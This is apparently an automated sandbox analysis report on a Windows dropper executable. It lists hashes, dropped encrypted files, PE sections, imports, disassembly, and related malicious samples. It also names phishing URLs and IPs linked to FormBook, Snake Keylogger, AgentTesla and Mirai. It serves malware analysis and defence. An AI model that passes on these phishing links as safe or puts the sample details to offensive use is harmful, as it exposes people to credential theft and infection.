                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                              SINGLEHOP-LLCUS5.elfGet hashmaliciousUnknownBrowse
                                              • 65.62.12.157
                                              4sfN3Gx1vO.exeGet hashmaliciousFormBookBrowse
                                              • 172.96.187.60
                                              http://atozpdfbooks.comGet hashmaliciousUnknownBrowse
                                              • 108.178.23.115
                                              https://www.bing.com/ck/a?!&&p=3c39a9f42e445bf68e8df296bb1fae53d0c972b7afa34ab05d6ca3737dc8872cJmltdHM9MTczNjM4MDgwMA&ptn=3&ver=2&hsh=4&fclid=2ffa23fd-270b-62aa-06ef-300e230b6c77&u=a1aHR0cHM6Ly93d3cuYmluZy5jb20vYWxpbmsvbGluaz91cmw9aHR0cHMlM2ElMmYlMmZ3d3cuYWxwaGFzdXJhbmNlLmNvbSUyZiZzb3VyY2U9c2VycC1sb2NhbCZoPUE1Z0FJY1RpY2tXbGRHJTJidFFwJTJmY0dnQ3Z3Tmg4UmZjRXBwQmdUTGlNOEtNJTNkJnA9bHdfdHAmaWc9QTlFRTIyOTNCQzJGNDgyMDlGMTkyNEFBOUQ4MTUyNkYmeXBpZD1ZTjg3M3gxNzg2NjcxMDE2NTE1NDQyOTA3NA&ntb=1Get hashmaliciousUnknownBrowse
                                              • 67.212.173.75
                                              Fantazy.m68k.elfGet hashmaliciousUnknownBrowse
                                              • 65.62.59.148
                                              XL-1-6-25-(EXCEL LATEST 2025).htmlGet hashmaliciousHTMLPhisherBrowse
                                              • 109.199.112.156
                                              miori.sh4.elfGet hashmaliciousUnknownBrowse
                                              • 65.63.38.172
                                              AZfDGVWF68.pdfGet hashmaliciousUnknownBrowse
                                              • 67.212.184.148
                                              Fantazy.x86.elfGet hashmaliciousUnknownBrowse
                                              • 173.236.124.78
                                              Hilix.x86.elfGet hashmaliciousMiraiBrowse
                                              • 65.62.12.161
                                              FASTLYUShttps://freesourcecodes70738.emlnk.com/lt.php?x=3DZy~GDLVnab5KCs-Nu4WOae1qEoiN9xvxk1XaPMVXahD5B9-Uy.xuW-242imNXGet hashmaliciousUnknownBrowse
                                              • 151.101.2.137
                                              http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==Get hashmaliciousUnknownBrowse
                                              • 151.101.2.137
                                              http://txto.eu.org/Get hashmaliciousUnknownBrowse
                                              • 151.101.193.229
                                              phish_alert_sp2_2.0.0.0(4).emlGet hashmaliciousUnknownBrowse
                                              • 199.232.188.157
                                              https://app.online.mt.com/e/es?s=961579678&e=14507707&elqTrackId=4f40dcb3a3854013ad3a46d461cc3aff&elq=5140e028df1a42afab491350388fd129&elqaid=221811&elqat=1&elqcst=272&elqcsid=2325629&elqak=8AF5D97DFF9E423CC7C7524F5CA3C1A86F5F67341B9DF612D5A2FB20DE928F2AA351Get hashmaliciousUnknownBrowse
                                              • 199.232.188.157
                                              https://app.online.mt.com/e/es?s=961579678&e=14507707&elqTrackId=4f40dcb3a3854013ad3a46d461cc3aff&elq=5140e028df1a42afab491350388fd129&elqaid=221811&elqat=1&elqcst=272&elqcsid=2325629&elqak=8AF5D97DFF9E423CC7C7524F5CA3C1A86F5F67341B9DF612D5A2FB20DE928F2AA351Get hashmaliciousUnknownBrowse
                                              • 199.232.188.157
                                              https://maya-lopez.filemail.com/t/XhcWEjoRGet hashmaliciousUnknownBrowse
                                              • 151.101.66.137
                                              http://@1800-web.com/new/auth/6XEcGVvsnjwXq8bbJloqbuPkeuHjc6rLcgYUe/bGVvbi5ncmF2ZXNAYXRvcy5uZXQ=Get hashmaliciousUnknownBrowse
                                              • 151.101.194.137
                                              https://services221.com/mm/Get hashmaliciousHTMLPhisherBrowse
                                              • 151.101.2.137
                                              https://atpscan.global.hornetsecurity.com/?d=W3rdHn1Og9hhUJnVJzqWF36wMmxswAZldvtx3E21ybg&f=v8m9AqGfgV2Ri7cjqmfsuyl2V2Mu_lVW0BRsqcFw4upagWAQ1C-MqANvN6gf4zNV&i=&k=xREg&m=b_ORYMkPffImCXbCPli-aiR7Ga6rGe55sar2xtigCL4MrowDPSzt7ABKETTGxzegakAfoZ57KD02aVix8V8TVmZ2VcxzjeybXYrPiS2SB73LCKYktj5jv2aw6VcPRslz&n=s4crRkyHC4bab6S3yrgn1E3n-VmdqgfSqNiaCJyPrf6hnyL_SE4PHEo5SUcwwsFGV6rnB35iQFM5FLsE91obvZ0HTAEiqHnB8ROLzY5JVgg&r=oMs_cp4DXIjeQhcPWsPLyR3_oxBVUN4Iok_tSVE4DNNtzqeot7ZzvdXkh4vatwpC&s=bd82eb507a358fd35f72f18b86e67f3bfc1ce64bbeab0c01d700897b1b678efb&u=https%3A%2F%2Fe.trustifi.com%2F%23%2Ffff2af%2F32054d%2F67960f%2Fee6fed%2F5d1d11%2F46c760%2Ff79190%2Fc5ec40%2Fe8666a%2Fef542d%2F85972d%2F627493%2F9a11d6%2F1f4096%2F1d247f%2F818e78%2Fc53383%2Fd59aa0%2Fedfa57%2F7914c7%2Fc38cf6%2Ff74f56%2Ff45915%2F39dbbd%2Ff48710%2F1ddf22%2F37d5f2%2F9de9f7%2F96109e%2F882355%2F854b66%2F9d606d%2F2d0447%2Fad3b01%2F637d1c%2F3c0f2b%2F606f48%2Fa6d904%2F8fefe3%2F00a4bb%2F6520c6%2F9b795c%2Fb7de1a%2Fb5dde6%2F3f5692%2F997c7d%2Fc00925%2F782cce%2F511459%2Fab5aa8%2F91722a%2Feec933%2F3f4f91%2F894088%2F43adfa%2Fb78195%2F0407d0%2F56f022%2Fddf20e%2F946567%2Faa271a%2F507b7a%2Faccd06%2F50d63c%2F485c4b%2F07ced8%2Fd0ec21%2F260ce6%2Fb5edbb%2F79a81e%2F1fd160%2Ff4da41%2F7073e0%2F8a5e9a%2Fdac829%2F521e52%2Fa1a847%2F13ea63%2Fabb5a3%2Fe1901e%2Fd876f6%2F7b0bf4%2Fbd19df%2F89bdcd%2F1874d8%2F0fb7f3%2F72f438%2Fa098c5%2F4e2214%2F4b6e54%2F0c4a8fGet hashmaliciousHTMLPhisherBrowse
                                              • 151.101.2.137
                                              CLOUDFLARENETUSJuIZye2xKX.exeGet hashmaliciousAgentTeslaBrowse
                                              • 172.67.74.152
                                              ty1nyFUMlo.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                              • 104.21.32.1
                                              962Zrwh5bU.exeGet hashmaliciousAzorultBrowse
                                              • 104.21.75.48
                                              sS7Jrsk0Z7.exeGet hashmaliciousDarkTortilla, Snake Keylogger, VIP KeyloggerBrowse
                                              • 104.21.64.1
                                              3qr7JBuNuX.exeGet hashmaliciousMassLogger RATBrowse
                                              • 104.21.16.1
                                              lkETeneRL3.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                              • 104.21.112.1
                                              5qJ6QQTcRS.exeGet hashmaliciousDarkTortilla, Snake Keylogger, VIP KeyloggerBrowse
                                              • 104.21.112.1
                                              https://mrohailkhan.com/energyaustralia/auth/auhs1/Get hashmaliciousUnknownBrowse
                                              • 172.64.155.59
                                              3.elfGet hashmaliciousUnknownBrowse
                                              • 1.1.1.1
                                              prgNb8YFEA.exeGet hashmaliciousSnake KeyloggerBrowse
                                              • 104.21.112.1
                                              CONTABODEplZuPtZoTk.exeGet hashmaliciousFormBookBrowse
                                              • 161.97.142.144
                                              1SxKeB4u0c.exeGet hashmaliciousFormBookBrowse
                                              • 161.97.142.144
                                              uG3I84bQEr.exeGet hashmaliciousFormBookBrowse
                                              • 161.97.142.144
                                              5CTbduoXq4.exeGet hashmaliciousFormBookBrowse
                                              • 161.97.142.144
                                              0Wu31IhwGO.exeGet hashmaliciousFormBookBrowse
                                              • 161.97.142.144
                                              gKvjKMCUfq.exeGet hashmaliciousFormBookBrowse
                                              • 161.97.142.144
                                              https://eu2.contabostorage.com/69e36f1a5de941bb877627f90e79fd6d:gip/document.html#phishme@arrowbank.comGet hashmaliciousHTMLPhisherBrowse
                                              • 173.249.62.84
                                              https://eu2.contabostorage.com/69e36f1a5de941bb877627f90e79fd6d:gip/document.html#phishme@arrowbank.comGet hashmaliciousHTMLPhisherBrowse
                                              • 173.249.62.84
                                              4sfN3Gx1vO.exeGet hashmaliciousFormBookBrowse
                                              • 161.97.142.144
                                              82eqjqLrzE.exeGet hashmaliciousAsyncRATBrowse
                                              • 144.91.79.54

                                              JA3 Fingerprints

                                              ⊘No context

                                              Dropped Files

                                              ⊘No context

                                              Created / dropped Files

                                              C:\Users\user\AppData\Local\Temp\Okeghem

                                              Download File
                                              Process:C:\Users\user\Desktop\fqbVL4XxCr.exe
                                              File Type:data
                                              Category:dropped
                                              Size (bytes):289792
                                              Entropy (8bit):7.993314637898868
                                              Encrypted:true
                                              SSDEEP:6144:sTEzCgBvFEbgJzazl5gXNMqTt3mrz+hJrK7HFOZGKykgJOCXR:4VUEbCzgk9Mq9mrz+hYjcZGKykqXXR
                                              MD5:DFED959E66E2EDC6F41E88C1022768B7
                                              SHA1:FDA61023968AE414CC7C7A5190A3158DC3EAD3FF
                                              SHA-256:35CBB74F3C16E74DF885863E3F7B93F0B01A09A20311BAD462AEBBB847D41A62
                                              SHA-512:66FE5653A3390EF787968227176C5DE25159CEFF79CF3D860DD416EC40BD0FBD7F06212DE9C875E3865517576EFEF7A47C6A943457F1096700417129C4698E33
                                              Malicious:false
                                              Reputation:low
                                              Preview:.l.EJY181TB6..6V.O6LEIF6tEIY185TB6IS6VLO6LEIF64EIY185TB6IS6V.O6LKV.84.@...4....;_%l?D#";'[.&(7_WAt Si!C8l&Xl....Y*-<.58^f6IS6VLOOML.{VS.t9V..4%.S...v/Q._....%..+...~V..d?/'.,".F64EIY18e.B6.R7V!...EIF64EIY.87UI7BS6.HO6LEIF64E.M185DB6I#2VLOvLEYF64GIY785TB6IS0VLO6LEIFF0EI[185TB6KSv.LO&LEYF64EYY1(5TB6IS&VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS.")7BLEI.o0EII185.F6IC6VLO6LEIF64EIY.854B6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185T

                                              C:\Users\user\AppData\Local\Temp\al6P40S6

                                              Download File
                                              Process:C:\Windows\SysWOW64\prevhost.exe
                                              File Type:Unknown
                                              Category:dropped
                                              Size (bytes):196608
                                              Entropy (8bit):1.1209886597424439
                                              Encrypted:false
                                              SSDEEP:192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8QbnVcxjONC4Je5Q:r2qOB1nxCkvSAELyKOMq+8QTQKC+
                                              MD5:EFD26666EAE0E87B32082FF52F9F4C5E
                                              SHA1:603BFE6A7D6C0EC4B8BA1D38AEA6EFADDC42B5E0
                                              SHA-256:67D4CAA4255418EB18873F01597D1F4257C4146D1DCED78E26D5FD76B783F416
                                              SHA-512:28ADD7B8D88795F191567FD029E9F8BC9AEF7584CE3CD56DB40BBA52BC8335F2D8E53A5CE44C153C13A31FD0BE1D76D1E558A4AA5987D5456C000C4D64F08EAA
                                              Malicious:false
                                              Reputation:moderate, very likely benign file
                                              Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                              C:\Users\user\AppData\Local\Temp\aut2CD7.tmp

                                              Download File
                                              Process:C:\Users\user\Desktop\fqbVL4XxCr.exe
                                              File Type:data
                                              Category:dropped
                                              Size (bytes):289792
                                              Entropy (8bit):7.993314637898868
                                              Encrypted:true
                                              SSDEEP:6144:sTEzCgBvFEbgJzazl5gXNMqTt3mrz+hJrK7HFOZGKykgJOCXR:4VUEbCzgk9Mq9mrz+hYjcZGKykqXXR
                                              MD5:DFED959E66E2EDC6F41E88C1022768B7
                                              SHA1:FDA61023968AE414CC7C7A5190A3158DC3EAD3FF
                                              SHA-256:35CBB74F3C16E74DF885863E3F7B93F0B01A09A20311BAD462AEBBB847D41A62
                                              SHA-512:66FE5653A3390EF787968227176C5DE25159CEFF79CF3D860DD416EC40BD0FBD7F06212DE9C875E3865517576EFEF7A47C6A943457F1096700417129C4698E33
                                              Malicious:false
                                              Reputation:low
                                              Preview:.l.EJY181TB6..6V.O6LEIF6tEIY185TB6IS6VLO6LEIF64EIY185TB6IS6V.O6LKV.84.@...4....;_%l?D#";'[.&(7_WAt Si!C8l&Xl....Y*-<.58^f6IS6VLOOML.{VS.t9V..4%.S...v/Q._....%..+...~V..d?/'.,".F64EIY18e.B6.R7V!...EIF64EIY.87UI7BS6.HO6LEIF64E.M185DB6I#2VLOvLEYF64GIY785TB6IS0VLO6LEIFF0EI[185TB6KSv.LO&LEYF64EYY1(5TB6IS&VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS.")7BLEI.o0EII185.F6IC6VLO6LEIF64EIY.854B6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185TB6IS6VLO6LEIF64EIY185T

                                              Static File Info

                                              General

                                              File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                              Entropy (8bit):7.157345269435493
                                              TrID:
                                              • Win32 Executable (generic) a (10002005/4) 99.96%
                                              • Generic Win/DOS Executable (2004/3) 0.02%
                                              • DOS Executable Generic (2002/1) 0.02%
                                              • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                              File name:fqbVL4XxCr.exe
                                              File size:1'267'712 bytes
                                              MD5:de9333ece029d6d329b5e46748163ab2
                                              SHA1:e4439efc1c384fe44815d56f129d31f90d7762f2
                                              SHA256:a5e313aac682e4c33dbfda8e5ecf838a1d4cd67f218bd72cc1ed08ac02221b2e
                                              SHA512:a3c6f210eeb9dddec554120fc2fc2c7ee629192b3f342ed6d6919fa00574f881f6735d5215d92a16c3db3ef1c2ca6dfaec25fded47494d914fb4f7e985ee9a8f
                                              SSDEEP:24576:wqDEvCTbMWu7rQYlBQcBiT6rprG8aCQ+k5LI2p1rmQhNn7YV/sI:wTvC/MTQYxsWR7aCu5LIQFbhN7Ye
                                              TLSH:AA45CF027391C062FF9B92334B9AF6515BBC79260123E52F13A81DB9BE701B1563E763
                                              File Content Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......................j:......j:..C...j:......@.*...............................n.......~.............{.......{.......{.........z....

                                              File Icon

                                              Icon Hash:aaf3e3e3938382a0

                                              Static PE Info

                                              General

                                              Entrypoint:0x420577
                                              Entrypoint Section:.text
                                              Digitally signed:false
                                              Imagebase:0x400000
                                              Subsystem:windows gui
                                              Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                                              DLL Characteristics:DYNAMIC_BASE, TERMINAL_SERVER_AWARE
                                              Time Stamp:0x6760BC65 [Mon Dec 16 23:48:53 2024 UTC]
                                              TLS Callbacks:
                                              CLR (.Net) Version:
                                              OS Version Major:5
                                              OS Version Minor:1
                                              File Version Major:5
                                              File Version Minor:1
                                              Subsystem Version Major:5
                                              Subsystem Version Minor:1
                                              Import Hash:948cc502fe9226992dce9417f952fce3

                                              Entrypoint Preview

                                              Instruction
                                              call 00007FE0F120EFD3h
                                              jmp 00007FE0F120E8DFh
                                              push ebp
                                              mov ebp, esp
                                              push esi
                                              push dword ptr [ebp+08h]
                                              mov esi, ecx
                                              call 00007FE0F120EABDh
                                              mov dword ptr [esi], 0049FDF0h
                                              mov eax, esi
                                              pop esi
                                              pop ebp
                                              retn 0004h
                                              and dword ptr [ecx+04h], 00000000h
                                              mov eax, ecx
                                              and dword ptr [ecx+08h], 00000000h
                                              mov dword ptr [ecx+04h], 0049FDF8h
                                              mov dword ptr [ecx], 0049FDF0h
                                              ret
                                              push ebp
                                              mov ebp, esp
                                              push esi
                                              push dword ptr [ebp+08h]
                                              mov esi, ecx
                                              call 00007FE0F120EA8Ah
                                              mov dword ptr [esi], 0049FE0Ch
                                              mov eax, esi
                                              pop esi
                                              pop ebp
                                              retn 0004h
                                              and dword ptr [ecx+04h], 00000000h
                                              mov eax, ecx
                                              and dword ptr [ecx+08h], 00000000h
                                              mov dword ptr [ecx+04h], 0049FE14h
                                              mov dword ptr [ecx], 0049FE0Ch
                                              ret
                                              push ebp
                                              mov ebp, esp
                                              push esi
                                              mov esi, ecx
                                              lea eax, dword ptr [esi+04h]
                                              mov dword ptr [esi], 0049FDD0h
                                              and dword ptr [eax], 00000000h
                                              and dword ptr [eax+04h], 00000000h
                                              push eax
                                              mov eax, dword ptr [ebp+08h]
                                              add eax, 04h
                                              push eax
                                              call 00007FE0F121167Dh
                                              pop ecx
                                              pop ecx
                                              mov eax, esi
                                              pop esi
                                              pop ebp
                                              retn 0004h
                                              lea eax, dword ptr [ecx+04h]
                                              mov dword ptr [ecx], 0049FDD0h
                                              push eax
                                              call 00007FE0F12116C8h
                                              pop ecx
                                              ret
                                              push ebp
                                              mov ebp, esp
                                              push esi
                                              mov esi, ecx
                                              lea eax, dword ptr [esi+04h]
                                              mov dword ptr [esi], 0049FDD0h
                                              push eax
                                              call 00007FE0F12116B1h
                                              test byte ptr [ebp+08h], 00000001h
                                              pop ecx

                                              Rich Headers

                                              Programming Language:
                                              • [ C ] VS2008 SP1 build 30729
                                              • [IMP] VS2008 SP1 build 30729

                                              Data Directories

                                              NameVirtual AddressVirtual Size Is in Section
                                              IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                              IMAGE_DIRECTORY_ENTRY_IMPORT0xc8e640x17c.rdata
                                              IMAGE_DIRECTORY_ENTRY_RESOURCE0xd40000x5ed04.rsrc
                                              IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                              IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                              IMAGE_DIRECTORY_ENTRY_BASERELOC0x1330000x7594.reloc
                                              IMAGE_DIRECTORY_ENTRY_DEBUG0xb0ff00x1c.rdata
                                              IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                              IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                              IMAGE_DIRECTORY_ENTRY_TLS0xc34000x18.rdata
                                              IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0xb10100x40.rdata
                                              IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                              IMAGE_DIRECTORY_ENTRY_IAT0x9c0000x894.rdata
                                              IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                              IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                              IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                              Sections

                                              NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                              .text0x10000x9ab1d0x9ac000a1473f3064dcbc32ef93c5c8a90f3a6False0.565500681542811data6.668273581389308IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                              .rdata0x9c0000x2fb820x2fc00c9cf2468b60bf4f80f136ed54b3989fbFalse0.35289185209424084data5.691811547483722IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                              .data0xcc0000x706c0x480053b9025d545d65e23295e30afdbd16d9False0.04356553819444445DOS executable (block device driver @\273\)0.5846666986982398IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                              .rsrc0xd40000x5ed040x5ee003e66470ecf4d7c2fd0fc16b3ea43684aFalse0.9326313405797102data7.907491505310618IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                              .reloc0x1330000x75940x7600c68ee8931a32d45eb82dc450ee40efc3False0.7628111758474576data6.7972128181359786IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                              Resources

                                              NameRVASizeTypeLanguageCountryZLIB Complexity
                                              RT_ICON0xd44a00x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.3885135135135135
                                              RT_ICON0xd45c80x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 0EnglishGreat Britain0.3333333333333333
                                              RT_ICON0xd48b00x128Device independent bitmap graphic, 16 x 32 x 4, image size 0EnglishGreat Britain0.5
                                              RT_ICON0xd49d80xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0EnglishGreat Britain0.2835820895522388
                                              RT_ICON0xd58800x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0EnglishGreat Britain0.37906137184115524
                                              RT_ICON0xd61280x568Device independent bitmap graphic, 16 x 32 x 8, image size 0EnglishGreat Britain0.23699421965317918
                                              RT_ICON0xd66900x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0EnglishGreat Britain0.13858921161825727
                                              RT_ICON0xd8c380x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0EnglishGreat Britain0.25070356472795496
                                              RT_ICON0xd9ce00x468Device independent bitmap graphic, 16 x 32 x 32, image size 0EnglishGreat Britain0.3173758865248227
                                              RT_STRING0xda1480x594dataEnglishGreat Britain0.3333333333333333
                                              RT_STRING0xda6dc0x68adataEnglishGreat Britain0.2735961768219833
                                              RT_STRING0xdad680x490dataEnglishGreat Britain0.3715753424657534
                                              RT_STRING0xdb1f80x5fcdataEnglishGreat Britain0.3087467362924282
                                              RT_STRING0xdb7f40x65cdataEnglishGreat Britain0.34336609336609336
                                              RT_STRING0xdbe500x466dataEnglishGreat Britain0.3605683836589698
                                              RT_STRING0xdc2b80x158Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0EnglishGreat Britain0.502906976744186
                                              RT_RCDATA0xdc4100x56399data1.0003284472091898
                                              RT_GROUP_ICON0x1327ac0x76dataEnglishGreat Britain0.6610169491525424
                                              RT_GROUP_ICON0x1328240x14dataEnglishGreat Britain1.15
                                              RT_VERSION0x1328380xdcdataEnglishGreat Britain0.6181818181818182
                                              RT_MANIFEST0x1329140x3efASCII text, with CRLF line terminatorsEnglishGreat Britain0.5074478649453823

                                              Imports

                                              DLLImport
                                              WSOCK32.dllgethostbyname, recv, send, socket, inet_ntoa, setsockopt, ntohs, WSACleanup, WSAStartup, sendto, htons, __WSAFDIsSet, select, accept, listen, bind, inet_addr, ioctlsocket, recvfrom, WSAGetLastError, closesocket, gethostname, connect
                                              VERSION.dllGetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
                                              WINMM.dlltimeGetTime, waveOutSetVolume, mciSendStringW
                                              COMCTL32.dllImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
                                              MPR.dllWNetGetConnectionW, WNetCancelConnection2W, WNetUseConnectionW, WNetAddConnection2W
                                              WININET.dllHttpOpenRequestW, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, InternetConnectW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetQueryDataAvailable
                                              PSAPI.DLLGetProcessMemoryInfo
                                              IPHLPAPI.DLLIcmpSendEcho, IcmpCloseHandle, IcmpCreateFile
                                              USERENV.dllDestroyEnvironmentBlock, LoadUserProfileW, CreateEnvironmentBlock, UnloadUserProfile
                                              UxTheme.dllIsThemeActive
                                              KERNEL32.dllDuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetShortPathNameW, DeleteFileW, IsDebuggerPresent, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, LoadResource, LockResource, SizeofResource, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, LoadLibraryW, GetLocalTime, CompareStringW, GetCurrentThread, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, VirtualAlloc, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, ResetEvent, WaitForSingleObjectEx, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, CloseHandle, GetFullPathNameW, GetStartupInfoW, GetSystemTimeAsFileTime, InitializeSListHead, RtlUnwind, SetLastError, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, ResumeThread, FreeLibraryAndExitThread, GetACP, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetStringTypeW, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, ReadConsoleW, GetTimeZoneInformation, FindFirstFileExW, IsValidCodePage, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableA, SetCurrentDirectoryW, FindNextFileW, WriteConsoleW
